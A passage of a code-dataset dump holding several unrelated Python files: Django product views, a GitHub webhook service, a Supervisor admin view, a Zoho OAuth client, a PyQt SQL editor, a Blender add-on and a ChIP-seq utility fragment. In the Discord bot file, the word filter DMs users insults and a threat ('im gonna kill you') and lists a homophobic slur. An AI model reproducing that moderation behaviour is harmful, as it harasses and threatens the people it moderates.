\"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n def enlatadosProductsFilter(self):\n self.response_data['cantTotal']= Product.objects.filter(category=3)\n for a in Product.objects.filter(category=3):\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n\nclass adminSite():\n def __init__(self, request):\n self._request = request\n self.user = 0\n self.response_data = {'error':[], 'data':[]}\n self.code = 200\n\n def dataProductUser(self):\n self.response_data['cantTotal']= Product.objects.all()\n for a in Product.objects.all():\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n\n def viveresProductsFilterAdmin(self):\n self.response_data['cantTotal']= Product.objects.filter(category=1)\n for a in Product.objects.filter(category=1):\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n def frigorificoProductsFilterAdmin(self):\n self.response_data['cantTotal']= Product.objects.filter(category=2)\n for a in Product.objects.filter(category=2):\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n def enlatadosProductsFilterAdmin(self):\n self.response_data['cantTotal']= Product.objects.filter(category=3)\n for a in Product.objects.filter(category=3):\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n","sub_path":"maracay/backEnd.py","file_name":"backEnd.py","file_ext":"py","file_size_in_byte":14141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"608942702","text":"import re\n\nfrom github import Github\n\nfrom django.conf import settings\n\nfrom jeeves.core.models import Job, JobDescription\nfrom jeeves.core.service import schedule_new_build\nfrom jeeves.github.models import GithubWebhookMatch, GithubRepository\n\n\ndef match_to_projects(payload):\n branch = payload['ref']\n if branch.startswith('refs/tags/'):\n # ignore tag pushes\n return [], None\n\n if branch.startswith('refs/heads/'):\n branch = branch[len('refs/heads/'):]\n try:\n repository = GithubRepository.objects.get(\n name=payload['repository']['full_name'])\n except GithubRepository.DoesNotExist:\n return [], None\n\n projects = set()\n excludes = set()\n for config in GithubWebhookMatch.objects.filter(repository=repository):\n if not re.match(config.branch_match, branch):\n continue\n\n if config.exclude:\n excludes.add(config.project)\n else:\n projects.add(config.project)\n\n return list(projects - excludes), repository\n\n\ndef handle_push_hook_request(payload):\n branch = payload['ref']\n if branch.startswith('refs/tags/'):\n # ignore tag pushes\n return\n\n if branch.startswith('refs/heads/'):\n branch = branch[len('refs/heads/'):]\n\n # delete events don't trigger anything\n if payload['deleted']:\n return\n\n commit = payload['head_commit']['id']\n projects, repository = match_to_projects(payload)\n reason = \"GitHub push\"\n for project in projects:\n schedule_new_build(project,\n repository=repository.name, branch=branch,\n metadata=payload, reason=reason,\n commit=commit)\n\n\ndef report_status_for_job(job):\n metadata = job.build.metadata\n if not metadata:\n return\n\n try:\n job_description = JobDescription.objects.get(\n project=job.build.project, name=job.name)\n except JobDescription.DoesNotExist:\n return\n\n if not job_description.report_result:\n return\n\n token = getattr(settings, 'GITHUB_ACCESS_TOKEN', None)\n if not token:\n return\n\n if job.result == Job.Result.SUCCESS:\n status = 'success'\n description = ''\n else:\n status = 'error'\n description = 'See Jeeves build for details'\n\n github = Github('', token)\n repo = github.get_repo(metadata['repository']['full_name'])\n commit = repo.get_commit(metadata['head_commit']['id'])\n commit.create_status(\n status,\n target_url=job.build.get_external_url(),\n description=description,\n context='Jeeves {}.{}'.format(job.build.project.slug, job.name)\n )\n","sub_path":"jeeves/github/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"396434703","text":"import xmlrpc.client\n\nfrom flask import request, abort, redirect, url_for\nfrom flask.ext.admin import expose\n\nfrom maintain.modules.baseclass import MaintainBaseView\nfrom maintain.signals import get_admin_modules\n\n\n@get_admin_modules.connect\ndef init_app(app):\n return Supervisor(name='Supervisor'), 100\n\n\nclass Supervisor(MaintainBaseView):\n\n @property\n def proxy(self):\n return xmlrpc.client.ServerProxy(\"http://localhost:9001/RPC2\")\n\n @expose('/')\n def index(self):\n data = self.proxy.supervisor.getAllProcessInfo()\n return self.render(\"maintain/supervisor.html\", data=data)\n\n @expose('/status')\n def change_status(self):\n name = request.args.get(\"name\")\n new_status = request.args.get(\"status\", 0, int)\n if not name or not new_status:\n abort(400)\n if new_status == 1:\n self.proxy.supervisor.startProcess(name)\n elif new_status == -1:\n self.proxy.supervisor.stopProcess(name)\n\n return redirect(url_for(\".index\"))\n return \"%s %s\" % (1, request.args)\n","sub_path":"maintain/modules/maintain/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"108798799","text":"import discord\nfrom discord.ext import commands\n\nfrom useful import error_embed\n\nimport os # for env vars\nimport random\nimport asyncio\nimport sys, traceback\nimport json\n\ninitial_extensions = ['cogs.config',\n\t\t\t 'cogs.members',\n\t\t\t 'cogs.useless',\n\t\t\t 'cogs.apis',\n\t\t\t 'cogs.admin',\n\t\t\t 'cogs.music']\n\n\nwith open('ids.json') as j:\n\tids = json.load(j)\n\ntoken = os.environ.get('TOKEN')\nif token is None:\n\twith open('config.json') as j:\n\t\tconfig = json.load(j)\n\t\ttoken = config['token']\n\ndef get_prefix(bot, message):\n\t\"\"\"Callable prefix function. [TODO] Can be modified at will.\"\"\"\n\tprefixes = ['>','!','.']\n\tif not message.guild:\n\t\treturn ''\n\treturn commands.when_mentioned_or(*prefixes)(bot, message)\n\nbot = commands.Bot(command_prefix=get_prefix, owner_id=ids[\"tatan\"], \n\t\t\t\t description='i\\'m natat and i am suffering every second i\\'m on',\n\t\t\t\t case_insensitive=True)\n\nfor extension in initial_extensions:\n\tbot.load_extension(extension)\n\ncpasta = os.environ.get('COPYPASTA')\nif cpasta is None:\n\twith open('config.json') as j:\n\t\tconfig = json.load(j)\n\t\ttoken = config['token']\n\t\tcpasta = config['copypasta']\n\nfyou = ['fuck off', 'fuck you',\n\t 'stop it', 'im gonna kill you',\n\t\t'that\\'s fuckin illegal man',\n\t 'can you not', 'STOP', cpasta]\n\nillegal_words = [':v', 'soyboy', 'v:', 'kek',\n\t\t 'soy boy' 'soy boi', 'soyboi', 'fagget', \n\t\t '>mfw', '>tfw', 'soi boi']\n\nmotd = ['A'*9,'oye tatan','juguemos mario land',\n\t\t'oh no', 'hell yeah', 'lmao imagine if',\n\t\t'ran out of motds what do', 'aka Stuart \"Fucking\" Little',\n\t\t'spook time', 'the cMAMA QUE CHUCHA', '>exists',\n\t\t'the fuck is a \"furry\"', 'god i hate mondays']\n\nasync def status_task(sec=1200):\n\t\"\"\"Changes status every X seconds.\"\"\"\n\twhile True:\n\t\tgameStat = discord.Game(f'!help | {random.choice(motd)}')\n\t\tawait bot.change_presence(activity=gameStat)\n\t\tawait asyncio.sleep(int(sec))\n\n@bot.event\nasync def on_ready():\n\tprint('Logged in as')\n\tprint(bot.user.name)\n\tprint(bot.user.id)\n\tprint('------')\n\tbot.loop.create_task(status_task())\n\tbot_channel = bot.get_channel(ids[\"bot-test\"])\n\tawait bot_channel.send('hello me bac')\n\t\n@bot.event\nasync def on_member_join(member):\n\tif 'discord.gg' in member.name.lower():\n\t\tawait member.ban(reason='spambot')\n\telse:\n\t\twelcome_message = f'hello {member.name.lower()} and welcome to tatan\\'s server. read the law and have fun.'\n\t\tawait member.send(welcome_message)\n\t\t\n@bot.event\nasync def on_member_remove(member):\n\tgeneral = bot.get_channel(ids[\"general\"])\n\trip_list = ['rest in peace.', 'rip.', 'press f', 'lol bye',\n\t\t\t\t'who needed him anyways', 'holy shit is he dead???',\n\t\t\t\t'what a loser', '\\n>dude leaves', 'who was he again']\n\trip_msg = random.choice(rip_list)\n\tsent_msg = await general.send(f'{member.name} left the server. {rip_msg}')\n\tawait sent_msg.add_reaction('\\U0001F1EB')\n\n@bot.event\nasync def on_message(msg):\n\ttatan = bot.get_user(ids[\"tatan\"])\n\t# word filter\n\tfor word in illegal_words:\n\t\tif word in msg.content.lower():\n\t\t\tif msg.author != bot.user:\n\t\t\t\tawait msg.channel.send(random.choice([':gun:', ':knife:', ':dagger:']))\n\t\t\t\tawait msg.author.send(random.choice(fyou))\n\t\t\t\tawait msg.delete()\n\n\t\t\t\tdm = error_embed(error_desc=msg.content,error_title=f'{msg.author.name} said:')\n\t\t\t\tawait tatan.send(embed=dm)\n\t\t\telse:\n\t\t\t\tpass\n\t\n\tawait bot.process_commands(msg)\n\nbot.run(token)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"342998170","text":"# coding: utf8\nimport requests\nfrom urllib.parse import urlencode\nfrom zoho.common.exceptions import InvalidModuleError, NoPermissionError, InvalidDataError, MandatoryFieldNotFoundError\n\n\nclass Client(object):\n AUTHORIZE_URL = 'https://accounts.zoho.com/oauth/v2/auth'\n REQUEST_TOKEN_URL = 'https://accounts.zoho.com/oauth/v2/token'\n REFRESH_TOKEN_URL = \"https://accounts.zoho.com/oauth/v2/token\"\n\n def __init__(self, client_id, client_secret, redirect_uri, scope, access_type, refresh_token=None):\n self.code = None\n self.scope = scope\n self.access_type = access_type\n self.client_id = client_id\n self._refresh_token = refresh_token\n self.redirect_uri = redirect_uri\n self.client_secret = client_secret\n self.access_token = None\n\n def get_authorization_url(self):\n \"\"\"\n\n :return:\n \"\"\"\n params = {'scope': ','.join(self.scope), 'client_id': self.client_id, 'access_type': 'offline',\n 'redirect_uri': self.redirect_uri, 'response_type': 'code', 'prompt':'consent'}\n url = self.AUTHORIZE_URL + '?' + urlencode(params)\n return url\n\n def exchange_code(self, code):\n \"\"\"\n\n :param code:\n :return:\n \"\"\"\n params = {'code': code, 'client_id': self.client_id, 'client_secret': self.client_secret,\n 'redirect_uri': self.redirect_uri, 'grant_type': 'authorization_code'}\n url = self.REQUEST_TOKEN_URL + '?' + urlencode(params)\n return self._post(url)\n\n def refresh_token(self):\n \"\"\"\n\n :return:\n \"\"\"\n params = {'refresh_token': self._refresh_token, 'client_id': self.client_id,\n 'client_secret': self.client_secret, 'grant_type': 'refresh_token'}\n url = self.REFRESH_TOKEN_URL + '?' + urlencode(params)\n response = self._post(url)\n return response\n\n def set_access_token(self, token):\n \"\"\"\n\n :param token:\n :return:\n \"\"\"\n if isinstance(token, dict):\n self.access_token = token['access_token']\n if 'refresh_token' in token:\n self._refresh_token = token['refresh_token']\n else:\n self.access_token = token\n\n def _get(self, endpoint, params=None):\n headers = {'Authorization': 'Zoho-oauthtoken {0}'.format(self.access_token), }\n response = requests.get(endpoint, params=params, headers=headers)\n return self._parse(response, method='get')\n\n def _post(self, endpoint, params=None, data=None):\n headers = {'Authorization': 'Zoho-oauthtoken {0}'.format(self.access_token), }\n response = requests.post(endpoint, params=params, json=data, headers=headers)\n return self._parse(response, method='post')\n\n def _put(self, endpoint, params=None, data=None):\n headers = {'Authorization': 'Zoho-oauthtoken {0}'.format(self.access_token), }\n response = requests.put(endpoint, params=params, json=data, headers=headers)\n return self._parse(response, method='put')\n\n def _patch(self, endpoint, params=None, data=None):\n headers = {'Authorization': 'Zoho-oauthtoken {0}'.format(self.access_token), }\n response = requests.patch(endpoint, params=params, json=data, headers=headers)\n return self._parse(response, method='patch')\n\n def _delete(self, endpoint, params=None):\n headers = {'Authorization': 'Zoho-oauthtoken {0}'.format(self.access_token), }\n response = requests.delete(endpoint, params=params, headers=headers)\n return self._parse(response, method='delete')\n\n def _parse(self, response, method=None):\n status_code = response.status_code\n if 'application/json' in response.headers['Content-Type']:\n r = response.json()\n else:\n r = response.text\n if status_code in (200, 201):\n return r\n if status_code == 204:\n return None\n message = None\n try:\n if 'message' in r:\n message = r['message']\n except Exception:\n message = 'No error message.'\n if status_code == 400:\n raise InvalidModuleError(message)\n if status_code == 401:\n raise NoPermissionError(status_code)\n if status_code == 201:\n raise MandatoryFieldNotFoundError(message)\n elif status_code == 202:\n raise InvalidDataError(message)\n elif status_code == 400:\n raise InvalidDataError(message)\n","sub_path":"zoho/common/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"292232769","text":"import os\nimport sys\nimport qdarkstyle\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.Qsci import *\n\ncomment_grey = QColor(\"#5c6370\")\ngutter_grey = QColor(\"#4b5263\")\ncyan = QColor(\"#56b6c2\")\nmagenta = QColor(\"c678dd\")\nblue = QColor(\"#61afef\")\ndark_yellow = QColor(\"#d19a66\")\nlight_yellow = QColor(\"#e5c07b\")\ngreen = QColor(\"#98c379\")\ndark_red = QColor(\"#be5046\")\nlight_red = QColor(\"#e06c75\")\nwhite = QColor(\"#abb2bf\")\nblack = QColor(\"#282c34\")\npurple = QColor(\"#d55fdd\")\nfont_name_ui = \"Ubuntu\"\nfont_name_mono = \"UbuntuMono Nerd Font\"\nbase_font_point_size = 14\n\n\nclass OutputLexer(QsciLexerCustom):\n def __init__(self, parent):\n super(OutputLexer, self).__init__(parent)\n self.setDefaultColor(white)\n self.setDefaultPaper(black)\n self.default_font = QFont(font_name_mono)\n self.default_font.setItalic(False)\n self.default_font.setBold(False)\n self.default_font.setPointSize(base_font_point_size)\n self.setFont(self.default_font)\n\n self.bold_font = QFont(font_name_mono)\n self.bold_font.setBold(True)\n self.bold_font.setItalic(True)\n self.bold_font.setPointSize(base_font_point_size)\n\n self.setColor(light_red, 1)\n self.setColor(dark_yellow, 2)\n self.setColor(blue, 3)\n self.setColor(self.color(1), 4)\n self.setFont(self.bold_font, 4)\n self.setColor(self.color(2), 5)\n self.setFont(self.bold_font, 5)\n self.setColor(self.color(3), 6)\n self.setFont(self.bold_font, 6)\n\n def styleText(self, start, end):\n # 1. Initialize the styling procedure\n # ------------------------------------\n self.startStyling(start)\n\n # 2. Slice out a part from the text\n # ----------------------------------\n text = self.parent().text()[start:end]\n\n lines = text.split(\"\\n\") # split by line\n # print(lines)\n # print(repr(text))\n for i, line in enumerate(lines):\n if len(line) >= 4 and line[0:4].lower() == \"info\":\n print(\"We've got an info\")\n self.setStyling(4, 6)\n self.setStyling(len(line) - 4, 3)\n elif len(line) >= 5 and line[0:5].lower() == \"error\":\n print(\"We've got an error\")\n self.setStyling(5, 4)\n self.setStyling(len(line) - 5, 1)\n elif len(line) >= 7 and line[0:7].lower() == \"warning\":\n print(\"We've got an warning\")\n self.setStyling(7, 5)\n self.setStyling(len(line) - 7, 2)\n else:\n self.setStyling(len(line), 0)\n\n if i != len(lines) - 1:\n self.setStyling(1, 0)\n\n def description(self, style):\n if style == 0:\n return \"Default\"\n elif style == 1:\n return \"Error\"\n elif style == 2:\n return \"Warning\"\n elif style == 3:\n return \"Info\"\n elif style == 4:\n return \"Error keyword\"\n elif style == 5:\n return \"Warning Keyword\"\n elif style == 6:\n return \"Info Keyword\"\n return \"\"\n\n\nclass MiniSQLLexer(QsciLexerSQL):\n def __init__(self, parent):\n super(MiniSQLLexer, self).__init__(parent)\n\n self.setDefaultColor(white)\n self.setDefaultPaper(black)\n self.default_font = QFont(font_name_mono)\n self.default_font.setItalic(False)\n self.default_font.setBold(False)\n self.default_font.setPointSize(base_font_point_size)\n self.setDefaultFont(self.default_font)\n self.setFont(self.default_font)\n\n self.setColor(white, 0)\n self.comment_font = QFont(font_name_mono)\n self.comment_font.setPointSize(base_font_point_size * 0.9)\n self.comment_font.setItalic(True)\n self.comment_font.setBold(False)\n self.setColor(comment_grey, 1)\n self.setColor(comment_grey, 2)\n self.setFont(self.comment_font, 1)\n self.setFont(self.comment_font, 2)\n\n self.setColor(green, 6)\n self.setColor(green, 7)\n self.setColor(dark_yellow, 4)\n self.setColor(light_yellow, 8)\n self.setColor(light_red, 9)\n self.setColor(white, 11)\n self.setColor(blue, 5)\n self.keyword_font = QFont(font_name_mono)\n self.keyword_font.setBold(True)\n self.keyword_font.setItalic(True)\n self.keyword_font.setPointSize(14)\n self.setFont(self.keyword_font, 5)\n self.setColor(purple, 10)\n self.setColor(magenta, 3)\n self.setColor(comment_grey, 15)\n self.setColor(comment_grey, 13)\n\n\nclass CustomMainWindow(QMainWindow):\n def __init__(self):\n super(CustomMainWindow, self).__init__()\n\n # Window setup\n # --------------\n\n # 1. Define the geometry of the main window\n init_geometry = (300, 300, 800, 400)\n\n self.setGeometry(*init_geometry)\n self.setWindowTitle(\"miniSQL GUI\")\n\n # 2. Create frame and layout\n self.frame = QFrame(self)\n self.layout = QVBoxLayout()\n self.frame.setLayout(self.layout)\n self.setCentralWidget(self.frame)\n self.myFontMono = QFont()\n self.myFontMono.setPointSize(base_font_point_size)\n # self.__myFontMono.setFamily(\"CMU Typewriter Text BoldItalic\")\n self.myFontMono.setFamily(font_name_mono)\n self.myFontUI = QFont()\n self.myFontUI.setPointSize(base_font_point_size)\n self.myFontUI.setFamily(font_name_ui)\n\n # 3. Place a button\n self.hbox = QHBoxLayout()\n self.hbox.addStretch(1)\n\n self.button_run = QPushButton(\"Run\")\n self.button_run.setFixedWidth(80)\n self.button_run.setFixedHeight(40)\n self.button_run.clicked.connect(self.run_sql)\n self.button_run.setFont(self.myFontUI)\n self.hbox.addWidget(self.button_run)\n\n self.button_run = QPushButton(\"Quit\")\n self.button_run.setFixedWidth(80)\n self.button_run.setFixedHeight(40)\n self.button_run.clicked.connect(self.exit_sql)\n self.button_run.setFont(self.myFontUI)\n self.hbox.addWidget(self.button_run)\n\n self.layout.addLayout(self.hbox)\n # QScintilla editor setup\n # ------------------------\n\n # ! Make instance of QsciScintilla class!\n self.editor = QsciScintilla()\n # adding the SQL lexer to the editor\n self.sql_lexer = MiniSQLLexer(self.editor)\n self.api = QsciAPIs(self.sql_lexer)\n # The moment you create the object, you plug it into the lexer immediately.\n # That's why you pass it your lexer as a parameter.\n auto_completions = [\n \"select\",\n \"show\",\n \"index\",\n \"delete\",\n \"drop\",\n \"from\",\n \"where\",\n \"tables\",\n \"table\",\n \"create\",\n ]\n for ac in auto_completions:\n self.api.add(ac)\n self.api.prepare()\n\n self.editor.setLexer(self.sql_lexer)\n\n self.editor.setAutoCompletionSource(QsciScintilla.AcsAll)\n self.editor.setAutoCompletionThreshold(1)\n self.setupEditorStyle(self.editor)\n # ! Add editor to layout !\n self.layout.addWidget(self.editor)\n\n self.output = QsciScintilla()\n self.out_lexer = OutputLexer(self.output)\n self.output.setLexer(self.out_lexer)\n\n\n self.output.setReadOnly(True)\n self.output.setText(\n \"Welcome to miniSQL GUI!\\nThis is the output window\\nThe editor above is where you input SQL queries, you'll find some interesting keyboard shortcuts there\\n\")\n \"\"\"\n some interesting keyboard shortcuts would include fancy stuff\n like multiline editing: Alt + Shift + Arrow\n and line deletion: Ctrl + L\n \"\"\"\n self.output.append(\"Error: table table_name is not found\\n\")\n self.output.append(\"Warning: key is duplicated and we're replacing it\\n\")\n self.output.append(\"Info: we've added 100 rows in 0.01s\")\n self.setupEditorStyle(self.output)\n self.layout.addWidget(self.output)\n\n # self.commands = self.editor.standardCommands()\n # command = self.commands.boundTo(Qt.ControlModifier | Qt.Key_R)\n # if command is not None:\n # print(command)\n # command.setKey(0) # clear the default\n self.run_sql_key_comb = QShortcut(Qt.ControlModifier | Qt.Key_R, self)\n self.run_sql_key_comb.activated.connect(self.run_sql)\n self.exit_sql_key_comb = QShortcut(Qt.ControlModifier | Qt.Key_Q, self)\n self.exit_sql_key_comb.activated.connect(self.exit_sql)\n self.editor.setFocus()\n self.show()\n\n def setupEditorStyle(self, editor):\n editor.setUtf8(True) # Set encoding to UTF-8\n editor.setFont(self.myFontUI) # Will be overridden by lexer!\n editor.setMarginsBackgroundColor(black.darker(120))\n editor.setMarginsForegroundColor(white.darker(120))\n editor.setMarginType(0, QsciScintilla.NumberMargin)\n editor.setMarginWidth(0, \"000\")\n editor.setMarginsFont(self.myFontMono)\n editor.setScrollWidth(1) # I'd like to set this to 0, however it doesn't work\n editor.setScrollWidthTracking(True)\n editor.setCaretForegroundColor(white)\n editor.setCaretWidth(3)\n editor.setSelectionBackgroundColor(black.lighter())\n editor.resetSelectionForegroundColor() # don't change foreground color of selection\n editor.setWrapMode(QsciScintilla.WrapWord)\n editor.setWrapVisualFlags(QsciScintilla.WrapFlagByText)\n editor.setWrapIndentMode(QsciScintilla.WrapIndentSame)\n\n ''''''\n\n def run_sql(self):\n print(\"You've pressed the run button/done the key combination, will it run?\")\n content = self.editor.text()\n # todo: actually run the command\n print(content)\n\n def exit_sql(self):\n print(\"You've decided to leave right?\")\n # todo: call miniSQL stuff to finish up\n self.close()\n\n ''''''\n\n\n''' End Class '''\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n font_db = QFontDatabase()\n font_name_list = os.listdir(\"font\")\n\n for font_name in font_name_list:\n if font_name.endswith(\"ttf\") or font_name.endswith(\"otf\") or font_name.endswith(\"ttc\"):\n font_full_name = \"font/\"+font_name\n font_stream = QFile(font_full_name)\n if font_stream.open(QFile.ReadOnly):\n font_data = font_stream.readAll()\n font_id = font_db.addApplicationFontFromData(font_data)\n families = font_db.applicationFontFamilies(font_id)\n # todo: change to svg icon\n app.setWindowIcon(QIcon('figure/miniSQL.png'))\n style_sheet = qdarkstyle.load_stylesheet(qt_api='pyqt5')\n app.setStyleSheet(style_sheet)\n myGUI = CustomMainWindow()\n sys.exit(app.exec_())\n\n''''''\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"79545795","text":"bl_info = {\n \"name\": \"Create Deform Armature from Rig\",\n \"author\": \"Tal Hershkovich\",\n \"version\" : (0, 1),\n \"blender\" : (2, 72, 0),\n \"location\": \"Create Deform Armature from Rig in spacebar menu\",\n \"description\": \"copies the deform bones of a rig into a deform armature with copy Transforms applied \",\n \"warning\": \"\",\n \"wiki_url\": \"http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/DeformArmature\",\n \"category\": \"Rigging\"}\n \nimport bpy\n\ndef create_deform_armature(self, context):\n rig = bpy.context.active_object\n\n if rig.type == \"ARMATURE\":\n #create a duplicate\n bpy.ops.object.mode_set(mode='OBJECT')\n origin_name = rig.name\n bpy.ops.object.duplicate()\n bpy.context.active_object.name = origin_name+\"_deform\"\n rig_deform = bpy.context.object\n \n rig_deform.name = \"Armature_deform\"\n rig_deform.data.name = \"Armature_deform\"\n \n remove_bones = []\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.armature.layers_show_all(all=True)\n \n for bone in rig_deform.data.edit_bones:\n if bone.use_deform == False:\n remove_bones.append(bone)\n \n for bone in remove_bones: \n rig_deform.data.edit_bones.remove(bone)\n \n #clear all constraints\n for bone in rig_deform.pose.bones:\n for constraint in bone.constraints:\n bone.constraints.remove(constraint)\n \n #assign transformation constraints with a target to the original rig relative bones\n for bone in rig_deform.pose.bones:\n constraint = bone.constraints.new(type='COPY_TRANSFORMS')\n constraint.target = bpy.data.objects[rig.name]\n constraint.subtarget = bone.name\n \n bpy.ops.object.mode_set(mode='OBJECT')\n\nclass DeformArmature(bpy.types.Operator):\n bl_idname = 'armature.copy_deform'\n bl_label = 'Create Deform Armature from Rig'\n bl_options = {'REGISTER', 'UNDO'}\n \n def execute(self, context):\n create_deform_armature(self, context)\n return {'FINISHED'}\n \ndef register():\n \n bpy.utils.register_class(DeformArmature)\n \n \ndef unregister():\n bpy.utils.unregister_class(DeformArmature)\n \n\nif __name__ == \"__main__\": # only for live edit.\n register()\n\n \n","sub_path":"Armature_Deform.py","file_name":"Armature_Deform.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"199597223","text":"import os\nimport pandas as pd\nimport pysam\nimport sys\nimport numpy as np\nfrom JKBio.utils import helper as h\nfrom JKBio.utils import plot\nimport re\nfrom pybedtools import BedTool\nimport seaborn as sns\nimport pyBigWig\nimport matplotlib.pyplot as plt\nimport pdb\nimport signal\nfrom scipy.optimize import curve_fit,minimize\nfrom sklearn.preprocessing import normalize\nfrom scipy.stats import poisson, zscore, boxcox, binom, fisher_exact\nfrom scipy.special import factorial\nimport subprocess\nfrom pandas.io.parsers import ParserError, EmptyDataError\nimport warnings\nimport itertools\nfrom statsmodels.stats.multitest import multipletests\n\nsize = {\"GRCh37\": 2864785220,\n\t\t\"GRCh38\": 2913022398}\n\ncmaps = ['Greys', 'Purples', 'Blues', 'Greens', 'Oranges', 'Reds',\n\t\t 'YlOrBr', 'YlOrRd', 'OrRd', 'PuRd', 'RdPu', 'BuPu',\n\t\t 'GnBu', 'PuBu', 'YlGnBu', 'PuBuGn', 'BuGn', 'YlGn']\n\nchroms = {'chr1','chr10','chr11','chr12','chr13','chr14','chr15','chr16','chr17','chr18','chr19',\n'chr2','chr20','chr21','chr22','chr3','chr4','chr5','chr6','chr7','chr8','chr9','chrX',\n 'chrY','1','10','11','12','13','14','15','16','17','18','19','2','20','21','22','3','4','5','6',\n '7','8','9','X','Y'}\n\n\ndef bigWigFrom(bams, folder=\"\", numthreads=8, genome='GRCh37', scaling=None, verbose=1):\n\t\"\"\"\n\trun the bigwig command line for a set of bam files in a folder\n\n\tArgs:\n\t-----\n\t\tbams: list[str] of bam file path\n\t\tfolder: str folder to save them to\n\t\tnumthreads: int numbe of parallel threads\n\t\tgenome: reference genome to use (for genome size compute)\n\t\tscaling: float an aditional scaling factor if you have\n\t\tverbose: int verbose level\n\n\t\"\"\"\n\tif \"bigwig\" not in os.listdir(folder if folder else '.'):\n\t\tos.mkdir(folder + \"bigwig\")\n\tfor i, bam in enumerate(bams):\n\t\tin1 = bam\n\t\tout1 = folder + \"bigwig/\" + bam.split('/')[-1].split('.')[0] + '.bw'\n\t\tcmd = \"bamCoverage --effectiveGenomeSize \" + str(size[genome]) + \" -p \" + str(numthreads) +\\\n\t\t\t\" -b \" + in1 + \" -o \" + out1\n\t\tif scaling is not None:\n\t\t\tcmd += ' --scaleFactor ' + str(scaling[i])\n\t\tif verbose == 0:\n\t\t\tcmd += ' 2> ' + bam + '.error.log'\n\t\tres = subprocess.run(cmd, capture_output=True, shell=True)\n\t\tif res.returncode != 0:\n\t\t\traise ValueError('issue with the command: ' + str(res.stderr))\n\n\ndef ReadRoseSuperEnhancers(roseFolder, containsINPUT=True, name=\"MV411\"):\n\t\"\"\"\n\tfrom a folder containing rose outputs, returns a dataframe of the resulting bed file\n\n\tArgs:\n\t-----\n\t\troseFolder: str folder path of the rose results\n\t\tcontainsINPUT: bool whether it has an INPUT column\n\t\tname: str name of the sample\n\n\tReturns:\n\t-------\n\n\t\"\"\"\n\tbeds = os.listdir(roseFolder)\n\tsuperenhan = pd.DataFrame()\n\tfor i in beds:\n\t\tif i.endswith('_SuperEnhancers.table.txt'):\n\t\t\tsuperenhan = superenhan.append(pd.read_csv(roseFolder+i, sep='\\t', skiprows=5)).drop(columns=['enhancerRank','isSuper'])\n\tdata = [superenhan.columns[6]] + superenhan.columns[8:].tolist()\n\tif containsINPUT:\n\t\tinputd = superenhan.columns[7]\n\tsuperenhan['name'] = [i.split(name)[1].split('_')[2] for i in superenhan['REGION_ID']]\n\tsuperenhan = superenhan.rename(columns={'CONSTITUENT_SIZE':'size','REGION_ID':\"id\",'CHROM':'chrom','START':'start','STOP':'end',\"NUM_LOCI\":'num'}).replace(np.nan,0)\n\tsuperenhan['foldchange'] = superenhan[data].sum(1)/superenhan[inputd]\n\tsuperenhan = superenhan.drop(columns=data+[inputd])\n\treturn superenhan.sort_values(by=['chrom','start','end'])\n\n\ndef loadPeaks(peakFile=None, peakfolder=None, isMacs=True, CTFlist=[], skiprows=0):\n\t\"\"\"\n\twill merge them file listed in a MACS2-way in a given MACS2 output folder all into one dataframe\n\n\tArgs:\n\t----\n\t\tpeakFile: str filepaht if just one peakfile that you want to load (else leave it empty)\n\t\tpeakfolder: str folder path where the bedfiles (or macs2 folders are, if isMacs) (if peakfile, leave this empty)\n\t\tisMacs: bool true if the folder is the MACS2 output folder (containing folder with samples folders with /NA_peaks peaks)\n\t\tCTFlist: list[str] of samples, if only loading a specific set of samples\n\n\tReturns:\n\t-------\n\t\tpd Dataframe of a merged set of peaks across all files in folders or of the peakfile\n\t\"\"\"\n\tif peakfolder:\n\t\tbindings = pd.DataFrame()\n\t\tfor folder in os.listdir(peakfolder):\n\t\t\tif isMacs:\n\t\t\t\tif any(tf in folder for tf in CTFlist) or not CTFlist:\n\t\t\t\t\tbinding = pd.read_csv(peakfolder + folder + \"/NA_peaks.narrowPeak\", sep='\\t', header=None) if\\\n\t\t\t\t\tos.exists(peakfolder + folder + \"/NA_peaks.narrowPeak\") else peakfolder + folder + \"/NA_peaks.broadPeak\"\n\t\t\t\t\tbinding['name'] = folder.replace('.narrowPeak', '').replace('.broadPeak','')\n\t\t\t\t\tbindings = 